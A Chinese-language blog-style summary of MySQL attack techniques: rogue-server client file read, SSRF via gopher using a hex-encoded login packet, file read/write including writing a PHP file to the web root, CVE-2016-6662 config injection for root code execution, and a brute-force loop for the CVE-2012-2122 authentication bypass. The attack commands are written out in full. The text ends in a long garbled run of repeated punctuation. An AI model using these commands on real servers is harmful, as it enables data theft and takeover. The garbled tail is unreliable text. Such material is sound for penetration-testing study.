Mysql攻擊總結
Mysql數據庫在無論是在滲透測試還是正常使用都是比較常見的數據庫,周末沒事做,順便總結梳理了mysql近些年的常見攻擊利用方法。
0x01 簡單介紹
MySQL 是最流行的關系型數據庫管理系統,在 WEB 應用方面 MySQL 是最好的 RDBMS(Relational Database Management System:關系數據庫管理系統)應用軟件之一。
0x02 基礎指令
在mysql的正常使用中以及mysql數據庫攻擊利用時,以下指令最常用,總結梳理如下
0x1 創建
create database hehe;//創建數據庫 CREATE TABLE IF NOT EXISTS `runoob_tbl`( `runoob_id` INT UNSIGNED AUTO_INCREMENT, `runoob_title` VARCHAR(100) NOT NULL, `runoob_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `runoob_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;//創建數據表
0x2 查看
show databases; show tables; show variables like '%secure%'; //查看安全屬性 LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '';//讀取客戶端文件
0x3 更新添加用戶及權限
CREATE USER 'username'@'host' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; DROP USER 'username'@'host'; flush privileges;
0x4 文件讀寫
SELECT '' INTO OUTFILE '/var/www/shell.php';
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa"
0x03 攻擊面分析
0x1 Mysql 客戶端任意文件讀
適用范圍:全版本 MySQL/MariaDB Client條件:客戶端連接時開啟 –enable-local-infile

從結果上來看,客戶端讀取了自身指定的數據,抓取數據包分析整個流程。
1. Client Send 3306
192.168.0.114 是SqlServer 192.168.0.115為客戶端

2. Server Send Greeting packet
服務端返回一個server端基礎信息表包含版本,協議類型,salt值,server 功能項

這里有一個server 功能表

3. Client Auth and Send capability
這個包可以說是客戶端的登錄包,包含用戶名,密碼,還有一份客戶端能力表。


從圖中可以看出client連接時開啟了 —enable-local-infile 配置
4. Client Queries
接下來就是一些正常的客戶端查詢了




5. Client Send LOAD DATA LOCAL
最終客戶端發送下面指令

6. Server Send Filename
服務端收到這個執行語句后會給客戶端以特定的協議格式發送一個包,類似于下面,功能類似于告訴客戶端把這個文件發給我讓我看看,如果連接時配置 –enable-local-infile 或者dsn 加上了allowAllFiles=true

7. 其他
攻擊腳本 Rogue_Mysql
https://github.com/allyshka/Rogue-MySql-Server
PHP有一些mysql客戶端擴展,如mysql、mysqli、pdo,除了pdo外都可以被利用,因為pdo默認禁止讀取本地數據,你需要通過設置PDO::MYSQL_ATTR_LOCAL_INFILE為true來啟用本地數據讀取。同樣的,如果客戶端使用的是python的MySQLdb,也需要先設置local_infile連接選項。
0x2 利用SSRF 攻擊Mysql
適用范圍:全版本 MySQL/MariaDB Server條件:擁有空密碼用戶
在之前有道ctf題目利用gopher協議獲取mysql數據庫中的flag,這里需要了解mysql的完整交互協議,并且要偽造客戶端,通過ssrf進行交互連接。下面只需要分析mysql的數據交互過程。
主要分成三個部分:登錄認證報文,客戶端請求報文以及服務器端返回報,基于mysql5.1.73(mysql4.1以后的版本)
- TCP 三次握手
- 服務端發送握手初始化報文
- 客戶端發送認證報文
- 服務端發送認證結果報文
- 客戶端發送命令報文
1. TCP 三次握手

客戶端與服務端進行TCP握手連接,確定連接信息。
2. 服務端發送握手初始化報文
握手完成之后,服務端向客戶端發送mysql相關信息,


通過該數據包客戶端將獲取服務端提供的能力列表,以及獲取挑戰隨機數,這將會在之后的客戶端認證數據包中使用到。
3. 客戶端發送認證報文
服務端生成挑戰數(scramble)并發送給客戶端,客戶端用挑戰數加密密碼后返回相應結果,然后服務器檢查是否與預期的結果相同,從而完成用戶認證的過程。值得注意的是,如果mysql的密碼為空,那么加密密碼就為空。

客戶端收到服務器發來的初始化報文后,會對服務器發送的權能標志進行修改,保留自身所支持的功能,然后將權能標志返回給服務器,從而保證服務器與客戶端通訊的兼容性。
4. 服務端發送認證結果報文
mysql收到了客戶端發過來的認證包,并且經過驗證用戶名密碼都是正確的,這是客戶端被允許登陸了,報文結構如下:

header = 0,表明是ok報文, server status = 02,表名設置自動提交成功。
5. 客戶端發送命令報文
命令報文比較簡單,第一個字節表示當前命令的類型,之后的數據就是要執行的命令。

6. 構造數據包
因為沒有密碼的用戶登陸mysql時不需要與sqlserver進行交互所以可以通過gopher協議通過一個數據包完成所有的交互,實現執行命令的目的。
通過命令行執行
mysql -h 127.0.0.1 -u root -e "select now();"
利用wireshark 抓包獲取

我們只關心,數據包中的紅色客戶端部分,將它們都提取出來,通過nc發送數據包
data = "b500000185a2bf01000000012d0000000000000000000000000000000000000000000000726f6f74000063616368696e675f736861325f70617373776f72640078035f6f73086f737831302e3134095f706c6174666f726d067838365f36340f5f636c69656e745f76657273696f6e06382e302e31380c5f636c69656e745f6e616d65086c69626d7973716c045f706964053432343831076f735f757365720634637431306e0c70726f6772616d5f6e616d65056d7973716c00000003210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420310d0000000373656c656374206e6f772829"
print data.decode("hex")

如果要執行其他命令只需要修改其中的客戶端命令數據包。
0x3 Mysql 服務端文件讀寫
適用范圍:全版本 MySQL/MariaDB Client條件:服務端配置可讀寫目錄和正確的用戶權限
1. 安全保護
mysql服務端的文件讀取有很多的條件限制,主要是mysql數據庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數據庫目錄或可被所有人讀取。
你可以通過執行
show variables like '%secure%'
來查看:

secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, DUMPFILE and LOAD_FILE()可以操作的文件夾。
secure-file-priv的值可分為三種情況:
- secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
- 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下,此時如果讀寫發生在其他文件夾,就會報錯
- 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
除此之外讀取或寫入文件必須擁有可操作的用戶權限否則會報錯:
ERROR 1045 (28000): Access denied for user
2. 讀取文件
SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
CREATE TABLE test ( id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\r';
3. 寫入文件
select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaa";
0x4 Mysql遠程代碼執行/權限提升漏洞 (CVE-2016-6662)
版本范圍:MySQL <= 5.7.14 MySQL <= 5.6.32 MySQL <= 5.5.51, 遠程代碼執行/ 提權 (0day),包括mysql的分支版本MariaDB,PerconaDB
利用條件要具有FILE和SELECT權限的mysql的用戶且能夠訪問日志功能(通常情況下只有MYSQL的管理員用戶具有)
1. 漏洞原因
- MySQL的默認安裝包里自帶了一個mysqld_safe的腳本用來啟動mysql的服務進程
- 該進程能夠在啟動mysql server之前預加載共享庫文件,通過參數 –malloc-lib = LIB /usr/local/mysql/bin/mysqld_safe:
- 一旦攻擊者可以注入惡意庫文件在my.cnf文件中,即可在mysql服務重啟時以root權限執行預加載的任意共享庫中的任意代碼
2. 利用場景
- 在MYSQL已存在的具有弱權限或者權限設置不安全的配置文件(mysql用戶可寫)里注入惡意代碼
- 在MYSQL的data目錄里(mysql用戶默認可寫)創建一個新的配置文件my.cnf,并注入惡意代碼
3. 漏洞利用
首先通過sql查詢創建配置文件
mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/exploit.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之后重啟mysql服務,即可執行tmp文件夾下的exploit.so文件
0x5 Mysql 身份認證繞過漏洞(CVE-2012-2122)
版本范圍 :MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。
漏洞復現
https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122搭建docker環境
在不知道我們環境正確密碼的情況下,在bash下運行如下命令,在一定數量嘗試后便可成功登錄:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

0x04 總結
總結了mysql客戶端任意文件讀取利用、利用SSRF攻擊Mysql數據庫獲取數據、SQL注入中文件讀寫利用、特定版本Mysql提取獲取shell漏洞以及很古老的mysql身份繞過認證,這些攻擊技巧是之前頻繁出現的利用方法,后續將分析關于postgres等數據的攻擊利用方法。
0x05 參考
http://www.nsoad.com/Article/Vulnerabilityanalysis/20160913/391.htmlhttps://www.freebuf.com/articles/web/159342.htmlhttps://www.anquanke.com/post/id/84553https://www.imooc.com/article/258850?block_id=tuijian_wzhttps://blog.csdn.net/weixin_34255793/article/details/90309996、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、